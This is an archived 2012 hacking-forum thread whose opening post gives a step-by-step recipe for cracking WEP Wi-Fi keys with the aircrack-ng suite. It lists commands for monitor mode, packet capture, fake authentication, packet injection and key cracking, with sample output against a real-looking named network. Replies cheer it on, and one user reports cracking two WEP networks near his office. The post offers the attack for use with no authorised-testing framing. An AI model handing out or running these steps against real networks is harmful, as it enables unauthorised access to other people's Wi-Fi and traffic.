+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking)
+--- Thread: Backtrack 5 : step by step WEP hack (/Thread-Backtrack-5-step-by-step-WEP-hack)
Backtrack 5 : step by step WEP hack - kapurbarus - 10-05-2012
1) first
open terminal dan type
airmon-ng
2) airmon-ng start (interface)
e.g : airmon-ng start wlan0
============================================
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1438 dhclient3
1507 dhclient3
1616 wpa_supplicant
1625 dhclient
1644 dhclient
Process with PID 1507 (dhclient3) is running on interface wlan0
Process with PID 1616 (wpa_supplicant) is running on interface
wlan0
Process with PID 1644 (dhclient) is running on interface wlan0
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
==================================
3) airodump-ng (monitor mode)
e.g: airodump-ng mon0
========================================
CH 1 ][ Elapsed: 0 s ][ 2012-07-29 01:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER
AUTH ESSID
34:08:04:FD:7A:F3 -71 26 171 64 1 54 WEP WEP
Nenas
BSSID STATION PWR Rate Lost Frames
Probe
34:08:04:FD:7A:F3 00:1A:73:27:37:CD 0 0 - 1 0 2 Nenas
34:08:04:FD:7A:F3 D0
F:9A:84:E3:94 -70 0 -54 08
34:08:04:FD:7A:F3 00:1E:65:A2:A5:4A -71 0 -36 0 163
========================================
4)press ctrl+c (to stop the process) type=
airodump-ng -c (channel CH) -w ( your file name) --bssid (bssid)
(monitor mode)
e.g: airodump-ng -c 1 -w ayam --bssid 34:08:04:FD:7A:F3 mon0
===============================================
CH 1 ][ Elapsed: 8 s ][ 2012-07-29 01:31
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC
CIPHER AUTH ESSID
34:08:04:FD:7A:F3 -73 9 86 761 103 1 54 WEP
WEP Nenas
BSSID STATION PWR Rate Lost Frames
Probe
34:08:04:FD:7A:F3 00:1A:73:27:37:CD 0 0 - 1 0 9
Nenas
34:08:04:FD:7A:F3 00:1E:65:A2:A5:4A -70 0 -36 1
741
34:08:04:FD:7A:F3 D0
F:9A:84:E3:94 -55 0 - 1 10 35=====================================================
5) ok ,now we need to wait until the #data rise until 50 000 ,the more the data, the less time to crack ..so,we need to inject it to faster the #data ,type=
aireplay-ng -1 0 -a (bssid) (monitor mode)
e-g: aireplay-ng -1 0 -a 34:08:04:FD:7A:F3 mon0
==========================================================
No source MAC (-h) specified. Using the device MAC
(00:1A:73:27:37:CD)
01:37:50 Waiting for beacon frame (BSSID: 34:08:04:FD:7A:F3) on
channel 1
01:37:50 Sending Authentication Request (Open System)
01:37:50 Authentication successful
01:37:50 Sending Association Request
01:37:50 Association successful :-) (AID: 1)
=======================================================
next :
6) type:
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid) (monitor mode)
e.g: aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 34:08:04:FD:7A:F3 mon0
=====================================
No source MAC (-h) specified. Using the device MAC
(00:1A:73:27:37:CD)
Size: 80, FromDS: 0, ToDS: 1 (WEP)
BSSID = 34:08:04:FD:7A:F3
Dest. MAC = 34:08:04:FD:7A:F2
Source MAC = D0
F:9A:84:E3:940x0000: 0841 2c00 3408 04fd 7af3 d0df 9a84
e394 .A,.4...z.......
0x0010: 3408 04fd 7af2 5010 ca12 0200 a62b 26cb 4...z.P......
+&.
0x0020: de9e 72c4 a7c5 2442 c204 a9a6 31d4 8d6f ..r...$
B....1..o
0x0030: 114d b3a8 f7bc 3634 edc6 5197 37cb
921d .M....64..Q.7...
0x0040: a814 ec7e 2866 cdbe 8586 2007 65cd 6783 ...~
(f.... .e.g.
Use this packet ? yes
=======================================
now ,let see the #data . .it will increase rapidly . .so wait the #data until it reach 50 000 ivs. .
6) haha , and the last step is ,i like this part ,type=
aircrack-ng 2 (filename-01.cap)
e.g: aircrack-ng 2 ayam-01.cap
==================
happy hacking !
RE: Backtrack 5 : step by step WEP hack - kaptaan - 10-07-2012
gud sharing...... bt what abot wpa2 and other bro...
RE: Backtrack 5 : step by step WEP hack - HrDe - 10-07-2012
it don't work, i had tried it.
RE: Backtrack 5 : step by step WEP hack - muhammad fakir - 10-08-2012
It wont be worked!! tried use another adapter...
use latest to crack most hacking adapter in old model cant be used...
RE: Backtrack 5 : step by step WEP hack - kapurbarus - 10-10-2012
(10-07-2012, 11:29 AM)kaptaan Wrote: gud sharing...... bt what abot wpa2 and other bro...
thanks bro , ,i will post my wpa tutorial later ,i need to focus for my exam first,
RE: Backtrack 5 : step by step WEP hack - AsiaSoft - 10-10-2012
I Dont Understand ..
This Hack Website Or .. ?
RE: Backtrack 5 : step by step WEP hack - unknownAttacker - 10-10-2012
^ this hacks wifi secured with WEP. basically - you go somewhere, there's password protected wi-fi there, if it uses WEP then you can access it with this method
RE: Backtrack 5 : step by step WEP hack - chmod - 10-10-2012
Good share but you will be very lucky to find wep secured networks these days for wpa2 check my reaver thread
RE: Backtrack 5 : step by step WEP hack - kapurbarus - 10-11-2012
(10-10-2012, 05:03 PM)chmod Wrote: Good share but you will be very lucky to find wep secured networks these days for wpa2 check my reaver thread
wow! Nice promotion ..
RE: Backtrack 5 : step by step WEP hack - Anonymous-g33k - 10-12-2012
Thanks For Sharing It's working for Me I Cracked 2 WEP networks near my Office... Thanks Bro It's better Then Dedicatory Attack..